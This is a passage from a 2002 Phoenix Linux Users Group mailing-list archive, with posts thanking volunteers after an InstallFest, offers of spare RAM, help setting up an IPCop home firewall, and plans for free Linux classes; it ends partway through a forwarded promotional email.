fun. The presentations were well > received... more shortly. > > THANKS to everyone who helped. I was amazed and delighted at everyone > helping each other. > > \\/ > I second Bill's comments! My German friend Wolfgang, who drive all the way from Goodyear (115th Ave & Buckeye) and is new to Linux was delighted with the help he was able to receive even though there weren't any SuSE experts there. Dennis Kibbe From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 14:18:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (G.D.Thurman) Date: Sun, 23 Jun 2002 07:18:31 -0700 (MST) Subject: Install Fest Early Th In-Reply-To: Message-ID: On Sun, 23 Jun 2002, William Lindley wrote: > We had a super turnout and a lot of fun. > The PLUG GNU/Linux InstallFest was great. PLUG Members need to be congratulated on doing an excellent job. Last year the PLUG helped bring RMS to our Valley -- this year they pull off an InstallFest. It was a honor for SCC to have so many good computer professionals on its campus today. Here is a small collection of pictures. http://inficad.com/~thurmunit/plug/installfest/ Thurman [Thanks for the red hat.] From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 15:23:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Sun, 23 Jun 2002 08:23:39 -0700 (PDT) Subject: Install Fest Early Thoughts Message-ID: <20020623152339.5110.qmail@web10605.mail.yahoo.com> Hello Everyone- I just wanted to say I had a good time at Installfest. I want to especially thank Kevin O. and Chris for helping me with Mandrake. It's up and running smooth...:-) I also want to thank Paul for getting me setup with Java/Tomcat...It would have taken me weeks to get it together. :-) This was my first time I attended an actual meeting. I really think it's great, becuase everyone is so enthusiastic and very knowledgeable about Linux. Everyone made me feel welcome. I'm looking forward to see you all at the next PLUG meeting. Perhaps the next Installfest, I'll be able to know enough to help Linux newbies too... ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 16:40:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 23 Jun 2002 09:40:41 -0700 (PDT) Subject: Install Fest Early Th In-Reply-To: Message-ID: These pics are great. Anyone else have some too? We should have an area of the PLUG site to archive pictures like this. ~M On Sun, 23 Jun 2002, G.D.Thurman wrote: > On Sun, 23 Jun 2002, William Lindley wrote: > > > We had a super turnout and a lot of fun. > > > The PLUG GNU/Linux InstallFest was great. > > PLUG Members need to be congratulated on > doing an excellent job. Last year the > PLUG helped bring RMS to our Valley -- > this year they pull off an InstallFest. > > It was a honor for SCC to have so many good > computer professionals on its campus today. > > Here is a small collection of pictures. > http://inficad.com/~thurmunit/plug/installfest/ > > Thurman [Thanks for the red hat.] > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 16:53:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike Childers) Date: Sun, 23 Jun 2002 09:53:24 -0700 Subject: My first meeting. Message-ID: <002201c21ad6$7ddb9020$0100a8c0@dilbert> This is a multi-part message in MIME format. ------=_NextPart_000_001F_01C21A9B.D0807DD0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I just wanted to say that I had a blast on Saturday. It was my first PLUG meeting although I have been using Linux for about = 10 years (since Slackware 1.0). I walked in expecting to learn more = about turning my desktop to Linux, since all I have done with Linux so = far has been servers and routers. I found a guy named Matt that was = installing Slackware 8.0 and started talking to him and eventually = helped him install.=20 To make a long story short, with the help of several people whom I = didn't even get their names, we got Matt's PC up and running on X. As = you know, in Slackware you have to do things the hard way sometimes. I = now have a better idea of what X is and how to set it up. The knowledge base you guys have is amazing. It was what I expected to = find when I decided to join and add another hundred emails a day to my = mailbox. :) Now I pretty much read every one of them every day and I = look forward to the next event.=20 Thanks! Mike Childers IT Network Consultant (602) 308-INET ------=_NextPart_000_001F_01C21A9B.D0807DD0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I just wanted to say that I had a blast = on=20 Saturday.
 
It was my first PLUG meeting although I = have been=20 using Linux for about 10 years (since Slackware 1.0). I walked in = expecting to=20 learn more about turning my desktop to Linux, since all I have done with = Linux=20 so far has been servers and routers. I found a guy named Matt that was=20 installing Slackware 8.0 and started talking to him and eventually = helped him=20 install.
 
To make a long story short, with the = help of=20 several people whom I didn't even get their names, we got Matt's PC up = and=20 running on X. As you know, in Slackware you have to do things the hard = way=20 sometimes. I now have a better idea of what X is and how to set it=20 up.
 
The knowledge base you guys have is = amazing. It was=20 what I expected to find when I decided to join and add another hundred = emails a=20 day to my mailbox. :) Now I pretty much read every one of them every day = and I=20 look forward to the next event.
 
Thanks!
 
Mike Childers
IT Network Consultant
(602) = 308-INET
------=_NextPart_000_001F_01C21A9B.D0807DD0-- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 18:07:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Michelle Lowman) Date: Sun, 23 Jun 2002 11:07:58 -0700 Subject: Free RAM to good home In-Reply-To: <20020623003805.4cb21b9f.wokan@cox.net> Message-ID: One is all I need. Will you be at Glendale Tuesday? -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Digital Wokan Sent: Sunday, June 23, 2002 12:38 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Free RAM to good home I believe I have 3 x 8MB. If you just need one, that leaves me a pair that Shawn can use in his systems. (Assuming he needs pairs.) On Sat, 22 Jun 2002 23:33:46 -0700 "Michelle Lowman" wrote: > If you still have an 8 lying around, let me know. Thanks! > > -----Original Message----- > From: plug-discuss-admin@lists.plug.phoenix.az.us > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Digital > Wokan > Sent: Wednesday, June 19, 2002 12:32 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Free RAM to good home > > > I've got a bunch of 72 pin simms laying around from older upgrades. Anyone > with a 486 or really old Pentium/K5/M2 who could use them (more memory for > you Masq'ing router I'd guess) is welcome to them. Not sure what their > condition or capacity is in most cases. I'm sure I have at least a pair of > 8's and a pair of 4's. I think I also have a 4, an 8, and a 16 singly. > Write back if interested. > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 18:48:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Sun, 23 Jun 2002 11:48:23 -0700 Subject: Free RAM to good home In-Reply-To: References: <20020623003805.4cb21b9f.wokan@cox.net> Message-ID: <20020623184823.GX8953@ecloud.org> I want to try to make the next Stammtisch, or we can meet before then if you like. On Sun, Jun 23, 2002 at 11:07:58AM -0700, Michelle Lowman wrote: > One is all I need. Will you be at Glendale Tuesday? > > -----Original Message----- > From: plug-discuss-admin@lists.plug.phoenix.az.us > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Digital > Wokan > Sent: Sunday, June 23, 2002 12:38 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Free RAM to good home > > > I believe I have 3 x 8MB. If you just need one, that leaves me a pair that > Shawn can use in his systems. (Assuming he needs pairs.) > > On Sat, 22 Jun 2002 23:33:46 -0700 > "Michelle Lowman" wrote: > > > If you still have an 8 lying around, let me know. Thanks! > > > > -----Original Message----- > > From: plug-discuss-admin@lists.plug.phoenix.az.us > > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Digital > > Wokan > > Sent: Wednesday, June 19, 2002 12:32 PM > > To: plug-discuss@lists.plug.phoenix.az.us > > Subject: Free RAM to good home > > > > > > I've got a bunch of 72 pin simms laying around from older upgrades. > Anyone > > with a 486 or really old Pentium/K5/M2 who could use them (more memory for > > you Masq'ing router I'd guess) is welcome to them. Not sure what their > > condition or capacity is in most cases. I'm sure I have at least a pair > of > > 8's and a pair of 4's. I think I also have a 4, an 8, and a 16 singly. > > Write back if interested. > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post > > to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 19:07:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Sun, 23 Jun 2002 12:07:58 -0700 (MST) Subject: Install Fest Early Th In-Reply-To: Message-ID: On Sun, 23 Jun 2002, Matt Alexander wrote: > These pics are great. Anyone else have some too? My photos are at http://www.wlindley.com/plug/ \\/ p.s., Victor or whoever's putting together the PLUG site, feel free to use them. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 20:36:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Sun, 23 Jun 2002 13:36:42 -0700 Subject: IPCop In-Reply-To: <20020623010508.51cf265c.snoogans@qwest.net> References: <20020623010508.51cf265c.snoogans@qwest.net> Message-ID: <20020623133642.60be64d3.snoogans@qwest.net> okay an update in progress ... i am very sure its something i am doing wrong now because i have tried two different NIC's and both of them work fine as the RED NIC but not the GREEN NIC. what happens is the red nic works fine and my firewall gets internet but its not forwarding it out to the rest of my network. the green NIC isn't even lit up in the back. what am i doing wrong? i followed the instructions on thier website but it wont work =/ On Sun, 23 Jun 2002 01:05:08 -0700 "robert jorgenson" wrote: > i was at the installfest today and installed IPCop on an extra box that i had, im trying to figure out how i need to set it up, i have qwest's vdsl which means that there is this gateway box sitting in our living room with a TV cable in and a TV cable and ethernate cable out acting as a dhcp server. I would assume i setup IPCop to get its ip from the gateway box and set it to act as a dhcp server for the rest of my network, however i am very new to networking and i am not sure exactly if that will work or what i have to do, any pointers in the right direction would be great :) Im reading the docs on the IPCop website right now hopefully i will come up with something from there too. > > -Robert > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 21:11:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Sun, 23 Jun 2002 14:11:53 -0700 (PDT) Subject: IPCop In-Reply-To: <20020623010508.51cf265c.snoogans@qwest.net> Message-ID: <20020623211153.70973.qmail@web13404.mail.yahoo.com> --- robert jorgenson wrote: > i was at the installfest today and installed IPCop > on an extra box that i had, im trying to figure out > how i need to set it up, i have qwest's vdsl which > means that there is this gateway box sitting in our > living room with a TV cable in and a TV cable and > ethernate cable out acting as a dhcp server. I would > assume i setup IPCop to get its ip from the gateway > box and set it to act as a dhcp server for the rest > of my network, however i am very new to networking > and i am not sure exactly if that will work or what > i have to do, any pointers in the right direction > would be great :) Im reading the docs on the IPCop > website right now hopefully i will come up with > something from there too. Hey Robert (it's me feend), I'm using IPCop too. I have it setup though so that just the gateway machine is using dhcp to get an IP. My other machines are using the unreserved 192.168.x.x range. So like the machine i'm on right now is 192.168.1.2 and I have a second nic in the gateway machine with the IP 192.168.1.1. IP cop makes this process pretty easy and enables NAT by default. Hope that helped some. If you're still stuck I'll get on irc and try and talk you through it. __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 21:47:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Sun, 23 Jun 2002 14:47:25 -0700 Subject: IPCop In-Reply-To: <20020623211153.70973.qmail@web13404.mail.yahoo.com> References: <20020623010508.51cf265c.snoogans@qwest.net> <20020623211153.70973.qmail@web13404.mail.yahoo.com> Message-ID: <20020623144725.2569709b.snoogans@qwest.net> Okay right now i have it set up so that the IPCop box uses dhcp to get an ip from the qwest gateway box. I enabled the dhcp server on the IPCop box so the rest of my box's on the netwrok get an IP using the range 192.168.1.200/250 the adress of the green nic is 192.168.1.1 and the red nic is dhcp. when i try and get an address on my box it just fails, did i miss an option or something? or am i doing it completely wrong? On Sun, 23 Jun 2002 14:11:53 -0700 (PDT) "bob smith" wrote: > > --- robert jorgenson wrote: > > i was at the installfest today and installed IPCop > > on an extra box that i had, im trying to figure out > > how i need to set it up, i have qwest's vdsl which > > means that there is this gateway box sitting in our > > living room with a TV cable in and a TV cable and > > ethernate cable out acting as a dhcp server. I would > > assume i setup IPCop to get its ip from the gateway > > box and set it to act as a dhcp server for the rest > > of my network, however i am very new to networking > > and i am not sure exactly if that will work or what > > i have to do, any pointers in the right direction > > would be great :) Im reading the docs on the IPCop > > website right now hopefully i will come up with > > something from there too. > > Hey Robert (it's me feend), > I'm using IPCop too. I have it setup though so that > just the gateway machine is using dhcp to get an IP. > My other machines are using the unreserved 192.168.x.x > range. So like the machine i'm on right now is > 192.168.1.2 and I have a second nic in the gateway > machine with the IP 192.168.1.1. IP cop makes this > process pretty easy and enables NAT by default. Hope > that helped some. If you're still stuck I'll get on > irc and try and talk you through it. > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 18:57:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Thu, 20 Jun 2002 11:57:41 -0700 Subject: Free RAM to good home In-Reply-To: <20020623184823.GX8953@ecloud.org> References: <20020623003805.4cb21b9f.wokan@cox.net> <20020623184823.GX8953@ecloud.org> Message-ID: <200206201157.41808.wokan@cox.net> I have yet to make any of the meetings. By the time I get off work and pick up my kid from daycare, there's no time to get to a meeting. I'm up by FLW and the 101, so the traffic is a PITA. (I need to make better use of my TLA's. :) ) On Sunday 23 June 2002 11:48, Shawn Rutledge wrote: > I want to try to make the next Stammtisch, or we can meet before then > if you like. > > On Sun, Jun 23, 2002 at 11:07:58AM -0700, Michelle Lowman wrote: > > One is all I need. Will you be at Glendale Tuesday? > > > > -----Original Message----- > > From: plug-discuss-admin@lists.plug.phoenix.az.us > > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Digital > > Wokan > > Sent: Sunday, June 23, 2002 12:38 AM > > To: plug-discuss@lists.plug.phoenix.az.us > > Subject: Re: Free RAM to good home > > > > > > I believe I have 3 x 8MB. If you just need one, that leaves me a pair > > that Shawn can use in his systems. (Assuming he needs pairs.) > > > > On Sat, 22 Jun 2002 23:33:46 -0700 > > > > "Michelle Lowman" wrote: > > > If you still have an 8 lying around, let me know. Thanks! > > > > > > -----Original Message----- > > > From: plug-discuss-admin@lists.plug.phoenix.az.us > > > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of > > > Digital Wokan > > > Sent: Wednesday, June 19, 2002 12:32 PM > > > To: plug-discuss@lists.plug.phoenix.az.us > > > Subject: Free RAM to good home > > > > > > > > > I've got a bunch of 72 pin simms laying around from older upgrades. > > > > Anyone > > > > > with a 486 or really old Pentium/K5/M2 who could use them (more memory > > > for you Masq'ing router I'd guess) is welcome to them. Not sure what > > > their condition or capacity is in most cases. I'm sure I have at least > > > a pair > > > > of > > > > > 8's and a pair of 4's. I think I also have a 4, an 8, and a 16 singly. > > > Write back if interested. > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post > > > > > to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 00:42:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Sun, 23 Jun 2002 17:42:11 -0700 (PDT) Subject: IPCop In-Reply-To: <20020623144725.2569709b.snoogans@qwest.net> Message-ID: <20020624004211.89619.qmail@web13405.mail.yahoo.com> --- robert jorgenson wrote: > Okay right now i have it set up so that the IPCop > box uses dhcp to get an ip from the qwest gateway > box. I enabled the dhcp server on the IPCop box so > the rest of my box's on the netwrok get an IP using > the range 192.168.1.200/250 the adress of the green > nic is 192.168.1.1 and the red nic is dhcp. when i > try and get an address on my box it just fails, did > i miss an option or something? or am i doing it > completely wrong? This sounds like a problem I was having a while ago where I couldn't get a new IP via DHCP because the lease was still bound to the MAC address of the other NIC I was using (acronyms are great). Use the NIC that was originally in that machine (if you aren't already), and maybe that'll allow you to get online. ping will be your best friend in trying to see if the network is correct. See if you can ping QWest from the IPCop box. __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 02:50:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Sun, 23 Jun 2002 19:50:25 -0700 Subject: IPCop References: <20020623010508.51cf265c.snoogans@qwest.net> <20020623133642.60be64d3.snoogans@qwest.net> Message-ID: <001401c21b29$e67ebd70$0301010a@tickticker.com> you do have the green nic cat5 cable plugged into another rj45 jack? you may need a crossover cable for this. sounds like the physical layer possibly. anthony ----- Original Message ----- From: "robert jorgenson" To: Sent: Sunday, June 23, 2002 1:36 PM Subject: Re: IPCop > okay an update in progress ... i am very sure its something i am doing wrong now because i have tried two different NIC's and both of them work fine as the RED NIC but not the GREEN NIC. what happens is the red nic works fine and my firewall gets internet but its not forwarding it out to the rest of my network. the green NIC isn't even lit up in the back. what am i doing wrong? i followed the instructions on thier website but it wont work =/ > > On Sun, 23 Jun 2002 01:05:08 -0700 > "robert jorgenson" wrote: > > > i was at the installfest today and installed IPCop on an extra box that i had, im trying to figure out how i need to set it up, i have qwest's vdsl which means that there is this gateway box sitting in our living room with a TV cable in and a TV cable and ethernate cable out acting as a dhcp server. I would assume i setup IPCop to get its ip from the gateway box and set it to act as a dhcp server for the rest of my network, however i am very new to networking and i am not sure exactly if that will work or what i have to do, any pointers in the right direction would be great :) Im reading the docs on the IPCop website right now hopefully i will come up with something from there too. > > > > -Robert > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 06:00:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Sun, 23 Jun 2002 23:00:00 -0700 Subject: IPCop In-Reply-To: <001401c21b29$e67ebd70$0301010a@tickticker.com> References: <20020623010508.51cf265c.snoogans@qwest.net> <20020623133642.60be64d3.snoogans@qwest.net> <001401c21b29$e67ebd70$0301010a@tickticker.com> Message-ID: <20020623230000.0a02a67a.snoogans@qwest.net> what do you mean? i have it set up like this internet --> gateway box --> firewall --> hub --> network is there something wrong with that that i dont know about? On Sun, 23 Jun 2002 19:50:25 -0700 "tickticker" wrote: > you do have the green nic cat5 cable plugged into another rj45 jack? you > may need a crossover cable for this. sounds like the physical layer > possibly. > > anthony > > ----- Original Message ----- > From: "robert jorgenson" > To: > Sent: Sunday, June 23, 2002 1:36 PM > Subject: Re: IPCop > > > > okay an update in progress ... i am very sure its something i am doing > wrong now because i have tried two different NIC's and both of them work > fine as the RED NIC but not the GREEN NIC. what happens is the red nic works > fine and my firewall gets internet but its not forwarding it out to the rest > of my network. the green NIC isn't even lit up in the back. what am i doing > wrong? i followed the instructions on thier website but it wont work =/ > > > > On Sun, 23 Jun 2002 01:05:08 -0700 > > "robert jorgenson" wrote: > > > > > i was at the installfest today and installed IPCop on an extra box that > i had, im trying to figure out how i need to set it up, i have qwest's vdsl > which means that there is this gateway box sitting in our living room with a > TV cable in and a TV cable and ethernate cable out acting as a dhcp server. > I would assume i setup IPCop to get its ip from the gateway box and set it > to act as a dhcp server for the rest of my network, however i am very new to > networking and i am not sure exactly if that will work or what i have to do, > any pointers in the right direction would be great :) Im reading the docs on > the IPCop website right now hopefully i will come up with something from > there too. > > > > > > -Robert > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 07:06:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 24 Jun 2002 00:06:16 -0700 (MST) Subject: Danken nach dem InstallFest Message-ID: moin, moin, I wish to thank everyone who helped PLUG put on a very successful ( east side[1] ) InstallFest! Specifically I want to thank Bill for leading the project. He did a great job and recruited good help from Dennis, Alan, Susan, Vic, Jim and our gracious host Thurman to organize and promote the InstallFest. Thanks to Alan for begging on our behalf and getting the large pile of goodies. Many others helped in planning the InstallFest, including the questions on the PLUG list that reminded us of things we'd forgotten. I would also like to specifically thank those who came into town from Tucson and Flagstaff to help ( kudos to OSEF and RedHat for having good people in their orgs ). I can't forget to mention the Lycoris guys jaunting in from .ca.us! Crucial in making it all work, though, were all of you who showed up to help others or to get help! It looked like we were giving some excellent assistance. I overheard many people saying we were doing a great job. That, more importantly than the large number of participants we had, is what indicates a successful event to me. Thanks for all the work and congratulations on a job well done! ciao, der.hans [1] see the next email for this footnote :) -- # https://www.LuftHans.com/ # Keine Ahnung, was ich dir sagen soll, # keine Ahnung und keinen (.)plan. -- die Toten Hosen From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 07:09:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 24 Jun 2002 00:09:39 -0700 (MST) Subject: the next projects Message-ID: moin, moin, We now have a couple of new challenges. One, as foreshadowed in parenthesis in the first sentence of the post I just sent, is to put on a successful west side InstallFest. That topic's been coming up since we started planning the InstallFest and I heard it requested many times Sat. YES!, we want to have a successful west side InstallFest. In order for it to happen, we need a few people to come forward to organize it. Please let me know if you'd like to work to make it happen. The other challenge is something I posted last week. We will be starting classes doing an Intro to GNU/Linux starting the first Wed of Sep. These classes will be open to the public and free of charge. They will be on the east side at Sequoia ( just a warning for the west-siders: we want to hold classes on your side of the planet as well ). We do not currently have a curriculum lined out or have presenters, so please feel free to step forward and help out :). We hope to run a six-month course with meetings once a month. The goal for the classes is to teach people who have no GNU/Linux experience ( maybe even no computer experience at all ) how to use the basic functionality of a GNU/Linux desktop. We intend to include several key applications such as Open Office, gimp and a mail client. ciao, der.hans -- # https://www.LuftHans.com/ # Two roads diverged in a wood, and I -- # I took the one less traveled by, # And that has made all the difference. -- Robert Frost # I, OTOH, prefer to just go stomping through the desert... - der.hans From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 07:09:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Sawyer) Date: Mon, 24 Jun 2002 00:09:03 -0700 Subject: Danken nach dem InstallFest In-Reply-To: Message-ID: <5.1.0.14.2.20020624000704.023a89d0@mail.scottsawyer.org> On this note there are images posted at http://www.scottsawyer.org/photo-display/index.cgi under the 2002 year archives. -Scott At 12:06 AM 6/24/2002 -0700, der.hans wrote: >moin, moin, > >I wish to thank everyone who helped PLUG put on a very successful ( east >side[1] ) InstallFest! > >Specifically I want to thank Bill for leading the project. He did a great >job and recruited good help from Dennis, Alan, Susan, Vic, Jim and our >gracious host Thurman to organize and promote the InstallFest. > >Thanks to Alan for begging on our behalf and getting the large pile of >goodies. > >Many others helped in planning the InstallFest, including the questions on >the PLUG list that reminded us of things we'd forgotten. > >I would also like to specifically thank those who came into town from Tucson >and Flagstaff to help ( kudos to OSEF and RedHat for having good people in >their orgs ). I can't forget to mention the Lycoris guys jaunting in from >.ca.us! > >Crucial in making it all work, though, were all of you who showed up to >help others or to get help! > >It looked like we were giving some excellent assistance. I overheard many >people saying we were doing a great job. That, more importantly than the >large number of participants we had, is what indicates a successful event to >me. > >Thanks for all the work and congratulations on a job well done! > >ciao, > >der.hans > >[1] see the next email for this footnote :) >-- ># https://www.LuftHans.com/ ># Keine Ahnung, was ich dir sagen soll, ># keine Ahnung und keinen (.)plan. -- die Toten Hosen > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss Scott Sawyer Engagement Manager - Red Hat Inc. http://www.redhat.com Scott Sawyer Digital Photography http://www.scottsawyer.org Member of Linux Users of Northern Arizona http://luna.flagstaff.az.us From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 12:44:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Mon, 24 Jun 2002 05:44:31 -0700 Subject: Fwd: DesktopLinux.com: Declare your 'wIndependence' this July 4th! Message-ID: <02062405443200.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - ---------- Forwarded Message ---------- Subject: DesktopLinux.com: Declare your 'wIndependence' this July 4th! Date: Fri, 21 Jun 2002 02:22:51 -0700 From: Jill Ratkevic To: contact@plug.phoenix.az.us I thought your members would like the opportunity to take part in this program. Thanks, Jill _________________ DesktopLinux.com today proclaimed July 4th, 2002 to be the first annual wIndependence Day. Coinciding with the US Independence Day holiday, wIndependence Day celebrates the burgeoning use of Linux on business, government, educational institution, and personal end-user computer desktops as an alternative to dependence on Microsoft's Windows operating system and associated products. Thousands of dollars worth of prizes for the celebration's essay contest are being donated by CodeWeavers, ELX, Lindows.com, Lycoris, MandrakeSoft, Opera, Sun Microsystems, SuSE, theKompany, and Ximian, providers of the leading 